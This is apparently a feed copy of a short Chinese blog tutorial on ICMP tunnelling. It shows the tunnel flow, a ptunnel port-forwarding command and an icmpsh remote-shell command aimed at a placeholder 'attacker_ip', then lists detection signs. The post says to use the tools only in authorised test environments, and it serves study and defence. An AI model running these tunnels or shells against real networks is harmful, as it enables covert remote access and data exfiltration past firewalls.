https://souljian.cn/tags/icmpsh/Recent content in Icmpsh on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088202/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088202/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>ICMP 隧道工具只在授权测试环境使用。</p> <h2 id="一icmp-隧道架构">一、ICMP 隧道架构 </h2><img src="https://souljian.cn/img/icmp-tunnel-topology.svg" alt="ICMP 隧道架构" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① ICMP 请求 → ② 数据编码 → ③ ICMP 应答 → ④ 数据外传 </span></span></code></pre></td></tr></table> </div> </div><h2 id="二常用工具">二、常用工具 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># ptunnel：ICMP 端口转发</span> </span></span><span class="line"><span class="cl">./ptunnel -p target_ip -lp <span class="m">8080</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># icmpsh：ICMP Shell</span> </span></span><span class="line"><span class="cl">./icmpsh -s attacker_ip -d target_ip </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御检测">三、防御检测 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ICMP 流量异常 · ICMP 包大小异常 </span></span><span class="line"><span class="cl">ICMP 频率异常 · 防火墙关闭 ICMP </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>ICMP 隧道是绕过简单防火墙的有效手段。<strong>ICMP 流量行为分析</strong>是防御检测的核心。</p>